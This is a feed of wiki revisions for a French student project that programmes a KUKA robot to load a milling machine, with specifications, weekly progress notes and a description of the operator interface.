		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=26781"/>
				<updated>2016-02-09T13:35:14Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'une interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépôt sur le support d’ajustement (2) &lt;br /&gt;
*Dépôt sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépôt sur le support de retournement (4) &lt;br /&gt;
*Dépôt sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépôt sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter un poste d'ébavurage afin d'automatiser la finition de la pièce ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Problématique Majeure du Projet ==&lt;br /&gt;
&lt;br /&gt;
Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.&lt;br /&gt;
&lt;br /&gt;
Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.&lt;br /&gt;
&lt;br /&gt;
Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.&lt;br /&gt;
&lt;br /&gt;
Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme. &lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;br /&gt;
*Prise en main du logiciel Kuka Sim Pro&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 12 au 16 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Formation sur le logiciel Kuka Sim Pro&lt;br /&gt;
*Début de la génération de l'environnement&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 19 au 23 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)&lt;br /&gt;
[[Média:TestTrajectoire.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 2 au 6 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Environnement quasiment finalisé&lt;br /&gt;
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur&lt;br /&gt;
[[Média:TestAttachPrehenseur.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 9 au 13 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation d'un cycle avec prise et relâche d'un préhenseur&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 16 au 20 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet&lt;br /&gt;
*Prise de mesures supplémentaire&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 23 au 27 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)&lt;br /&gt;
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6&lt;br /&gt;
[[Média:TestKR6.mp4]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 30 novembre au 4 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Avancement du rapport&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 7 au 11 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Tests pour ajouter des parties dynamiques à notre environnement. Pour l'instant aucune solution fonctionnelle.&lt;br /&gt;
*Réalisation de nouvelles trajectoires plus complexes&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 14 au 18 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Préparation de la soutenance et peu d'avancement du projet car nous avons rencontré un problème au niveau de la licence des logiciels.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 4 au 8 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Tests de récupération de la position du robot lors d'un déplacement piloté en manuel. Nous avons été en salle Kuka et nous avons piloté le robot manuellement vers une position et nous avons ensuite récupéré la position exacte du robot afin de l'intégrer à Kuka sim pro et vérifier que les positions coïncident.&lt;br /&gt;
*Puisque nous avons testé que l'on peut récupérer la position du robot avec un déplacement manuel et fini de réaliser une trajectoire plus complexe, nous avons pris rendez-vous avec l'entreprise afin de réaliser nos ajustements, et de présenter l'avancement de notre projet.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 11 au 15 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Rendez-vous avec notre tuteur entreprise lors duquel nous avons présenté l'avancement du projet. Nous avons aussi récupéré le cahier des charges pour l'interface graphique. Cette interface devra finalement être réalisée à partir de zéro suivant le souhait de l'entreprise.&lt;br /&gt;
*Nous avons commencé à réfléchir au développement de l'interface graphique et la façon d'y intégrer nos trajectoires. On nous laisse beaucoup de libertés à ce sujet, nous pensons faire l'interface en C#. &lt;br /&gt;
*Concernant les trajectoires il est possible de rester sur une programmation modulaire, ou l'on fait des trajectoires simples que l'on va utiliser pour réaliser le cycle de production, ou alors réaliser des trajectoires complètes. Étant donné que l'on nous demande beaucoup de souplesse, nous avons choisi de rester sur une programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 18 au 22 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Le lundi 18 nous sommes retournés à l'entreprise afin d'y faire nos ajustements, c'est à dire d'obtenir les positions exactes des éléments de l’environnement afin de le finaliser. Les mesures grossières qui avaient été prises étant proche de la réalité il est donc assez simple d'ajuster les positions.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 25 au 29 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
A partir de cette semaine nous avons commencé la réalisation de l'interface graphique. Pour l'instant, il s'agit d'une interface basique.&lt;br /&gt;
Cette interface doit permettre de lancer un programme sur le robot. Pour cela il faut donc rentrer tous les paramètres nécessaires afin de définir le programme que l'on souhaite lancer.&lt;br /&gt;
&lt;br /&gt;
Les paramètres à définir sont :&lt;br /&gt;
*Le type de pièce que l'on souhaite usiner.&lt;br /&gt;
*Le nombre d'opérations à réaliser sur ces pièces. (une ou deux suivant les pièces)&lt;br /&gt;
*La face de la machine outil utilisée pour cette ou ces opérations. (il y a quatre faces disponibles)&lt;br /&gt;
*L'emplacement ou l'on va venir chercher les pièces à usiner et déposer les pièces usinées. (il y a deux magasins produit dans l'environnement du robot)&lt;br /&gt;
*Et pour finir le nombre de pièces que l'on va usiner.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 1 au 5 février 2016 ===&lt;br /&gt;
&lt;br /&gt;
Une version alpha de l'interface à été réalisée.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_1.jpg|left|690px]][[Fichier:P27_IHM_2.jpg|right|690px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur la page 1, à gauche, on peut voir le choix du type de pièce entre les pièces 1, 2 et 3. Ce choix est assisté via des illustrations des pièces en question avec le préhenseur utilisé pour ce type de pièce. Pour le moment nous avons utilisé les images que nous avions à notre disposition mais par la suite nous aurons d'autres images.&lt;br /&gt;
De même, nous avons actuellement des boutons afin de modifier les images, ces boutons ont été implanté car sur l'interface précédente il était possible de le faire. En revanche nous pensons à les retirer car ils ne sont pas des plus important.&lt;br /&gt;
&lt;br /&gt;
Sur la page 2, à droite, se trouve le choix du nombre d'opérations d'usinage. L'OP10 correspond à une opération et l'OP20 à deux opérations. Ici aussi les images sont temporaires afin de pouvoir bien visualiser mais nous allons les remplacer dès que possible.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_3.jpg|left|690px]][[Fichier:P27_IHM_3bis.jpg|right|690px]]&lt;br /&gt;
&lt;br /&gt;
Les pages 3 et 3bis sont les pages permettant de choisir ou va être réalisé l'opération d'usinage au sein des 4 faces possibles. La page 3bis permet de prendre en compte le cas ou l'on doit faire deux opérations d'usinage et permet donc de sélectionner les faces pour la première et la seconde opération.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_4.jpg|left|690px]][[Fichier:P27_IHM_4bis.jpg|right|690px]]&lt;br /&gt;
&lt;br /&gt;
La page 4 est la page permettant d'entrer le nombre de pièces que l'on veux usiner ainsi que le magasin ou l'on va venir chercher les pièces brutes pour l'usinage. Comme on peux le voir sur l'image de droite, lorsque l'on veux lancer le programme, on a une fenêtre de confirmation qui récapitule les choix réalisés avant le lancement du programme.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ceci récapitule la partie graphique de notre interface. Maintenant nous souhaitons faire des tests concernant la communication avec le robot, par contre nous n'avons que peu d'informations concernant la communication. Nous attendons donc une réponse de Kuka concernant ce point, pour le moment nous allons essayer de réaliser cette communication par nous même.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 8 au 12 février 2016 ===&lt;br /&gt;
&lt;br /&gt;
Une petite modification a été réalisée au sein de l'interface graphique car un point avait été oublié. Il est parfois nécessaire de retourner la pièce avant ou après une opération d'usinage. C'est pourquoi ils disposent d'une surface d'attente sur le magasin ou sont posé les préhenseurs. Si un retournement est nécessaire, le robot viens déposer la pièce sur cette surface d'attente et la reprendre sous un angle différent.&lt;br /&gt;
&lt;br /&gt;
C'est pourquoi nous avons eu à ajouter une fenêtre ou l'utilisateur peut choisir les retournement nécessaire à l'usinage. Il y en a 3 au maximum.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_5.jpg|center|690px]]&lt;br /&gt;
&lt;br /&gt;
Celle-ci viens s'insérer avant la page 4 qui permet de lancer le programme.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P27_IHM_5.jpg&amp;diff=26772</id>
		<title>Fichier:P27 IHM 5.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:P27_IHM_5.jpg&amp;diff=26772"/>
				<updated>2016-02-09T13:22:37Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=26184</id>
		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=26184"/>
				<updated>2016-02-03T15:52:20Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Semaine du 1 au 5 février 2016 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'une interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépôt sur le support d’ajustement (2) &lt;br /&gt;
*Dépôt sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépôt sur le support de retournement (4) &lt;br /&gt;
*Dépôt sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépôt sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter un poste d'ébavurage afin d'automatiser la finition de la pièce ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Problématique Majeure du Projet ==&lt;br /&gt;
&lt;br /&gt;
Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.&lt;br /&gt;
&lt;br /&gt;
Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.&lt;br /&gt;
&lt;br /&gt;
Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.&lt;br /&gt;
&lt;br /&gt;
Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme. &lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;br /&gt;
*Prise en main du logiciel Kuka Sim Pro&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 12 au 16 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Formation sur le logiciel Kuka Sim Pro&lt;br /&gt;
*Début de la génération de l'environnement&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 19 au 23 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)&lt;br /&gt;
[[Média:TestTrajectoire.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 2 au 6 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Environnement quasiment finalisé&lt;br /&gt;
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur&lt;br /&gt;
[[Média:TestAttachPrehenseur.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 9 au 13 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation d'un cycle avec prise et relâche d'un préhenseur&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 16 au 20 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet&lt;br /&gt;
*Prise de mesures supplémentaire&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 23 au 27 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)&lt;br /&gt;
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6&lt;br /&gt;
[[Média:TestKR6.mp4]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 30 novembre au 4 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Avancement du rapport&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 7 au 11 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Tests pour ajouter des parties dynamiques à notre environnement. Pour l'instant aucune solution fonctionnelle.&lt;br /&gt;
*Réalisation de nouvelles trajectoires plus complexes&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 14 au 18 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Préparation de la soutenance et peu d'avancement du projet car nous avons rencontré un problème au niveau de la licence des logiciels.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 4 au 8 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Tests de récupération de la position du robot lors d'un déplacement piloté en manuel. Nous avons été en salle Kuka et nous avons piloté le robot manuellement vers une position et nous avons ensuite récupéré la position exacte du robot afin de l'intégrer à Kuka sim pro et vérifier que les positions coïncident.&lt;br /&gt;
*Puisque nous avons testé que l'on peut récupérer la position du robot avec un déplacement manuel et fini de réaliser une trajectoire plus complexe, nous avons pris rendez-vous avec l'entreprise afin de réaliser nos ajustements, et de présenter l'avancement de notre projet.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 11 au 15 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Rendez-vous avec notre tuteur entreprise lors duquel nous avons présenté l'avancement du projet. Nous avons aussi récupéré le cahier des charges pour l'interface graphique. Cette interface devra finalement être réalisée à partir de zéro suivant le souhait de l'entreprise.&lt;br /&gt;
*Nous avons commencé à réfléchir au développement de l'interface graphique et la façon d'y intégrer nos trajectoires. On nous laisse beaucoup de libertés à ce sujet, nous pensons faire l'interface en C#. &lt;br /&gt;
*Concernant les trajectoires il est possible de rester sur une programmation modulaire, ou l'on fait des trajectoires simples que l'on va utiliser pour réaliser le cycle de production, ou alors réaliser des trajectoires complètes. Étant donné que l'on nous demande beaucoup de souplesse, nous avons choisi de rester sur une programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 18 au 22 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Le lundi 18 nous sommes retournés à l'entreprise afin d'y faire nos ajustements, c'est à dire d'obtenir les positions exactes des éléments de l’environnement afin de le finaliser. Les mesures grossières qui avaient été prises étant proche de la réalité il est donc assez simple d'ajuster les positions.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 25 au 29 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
A partir de cette semaine nous avons commencé la réalisation de l'interface graphique. Pour l'instant, il s'agit d'une interface basique.&lt;br /&gt;
Cette interface doit permettre de lancer un programme sur le robot. Pour cela il faut donc rentrer tous les paramètres nécessaires afin de définir le programme que l'on souhaite lancer.&lt;br /&gt;
&lt;br /&gt;
Les paramètres à définir sont :&lt;br /&gt;
*Le type de pièce que l'on souhaite usiner.&lt;br /&gt;
*Le nombre d'opérations à réaliser sur ces pièces. (une ou deux suivant les pièces)&lt;br /&gt;
*La face de la machine outil utilisée pour cette ou ces opérations. (il y a quatre faces disponibles)&lt;br /&gt;
*L'emplacement ou l'on va venir chercher les pièces à usiner et déposer les pièces usinées. (il y a deux magasins produit dans l'environnement du robot)&lt;br /&gt;
*Et pour finir le nombre de pièces que l'on va usiner.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 1 au 5 février 2016 ===&lt;br /&gt;
&lt;br /&gt;
Une version alpha de l'interface à été réalisée.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_1.jpg|left|690px]][[Fichier:P27_IHM_2.jpg|right|690px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur la page 1, à gauche, on peut voir le choix du type de pièce entre les pièces 1, 2 et 3. Ce choix est assisté via des illustrations des pièces en question avec le préhenseur utilisé pour ce type de pièce. Pour le moment nous avons utilisé les images que nous avions à notre disposition mais par la suite nous aurons d'autres images.&lt;br /&gt;
De même, nous avons actuellement des boutons afin de modifier les images, ces boutons ont été implanté car sur l'interface précédente il était possible de le faire. En revanche nous pensons à les retirer car ils ne sont pas des plus important.&lt;br /&gt;
&lt;br /&gt;
Sur la page 2, à droite, se trouve le choix du nombre d'opérations d'usinage. L'OP10 correspond à une opération et l'OP20 à deux opérations. Ici aussi les images sont temporaires afin de pouvoir bien visualiser mais nous allons les remplacer dès que possible.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_3.jpg|left|690px]][[Fichier:P27_IHM_3bis.jpg|right|690px]]&lt;br /&gt;
&lt;br /&gt;
Les pages 3 et 3bis sont les pages permettant de choisir ou va être réalisé l'opération d'usinage au sein des 4 faces possibles. La page 3bis permet de prendre en compte le cas ou l'on doit faire deux opérations d'usinage et permet donc de sélectionner les faces pour la première et la seconde opération.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_4.jpg|left|690px]][[Fichier:P27_IHM_4bis.jpg|right|690px]]&lt;br /&gt;
&lt;br /&gt;
La page 4 est la page permettant d'entrer le nombre de pièces que l'on veux usiner ainsi que le magasin ou l'on va venir chercher les pièces brutes pour l'usinage. Comme on peux le voir sur l'image de droite, lorsque l'on veux lancer le programme, on a une fenêtre de confirmation qui récapitule les choix réalisés avant le lancement du programme.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ceci récapitule la partie graphique de notre interface. Maintenant nous souhaitons faire des tests concernant la communication avec le robot, par contre nous n'avons que peu d'informations concernant la communication. Nous attendons donc une réponse de Kuka concernant ce point, pour le moment nous allons essayer de réaliser cette communication par nous même.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=26177</id>
		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=26177"/>
				<updated>2016-02-03T15:38:10Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'une interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépôt sur le support d’ajustement (2) &lt;br /&gt;
*Dépôt sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépôt sur le support de retournement (4) &lt;br /&gt;
*Dépôt sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépôt sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter un poste d'ébavurage afin d'automatiser la finition de la pièce ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Problématique Majeure du Projet ==&lt;br /&gt;
&lt;br /&gt;
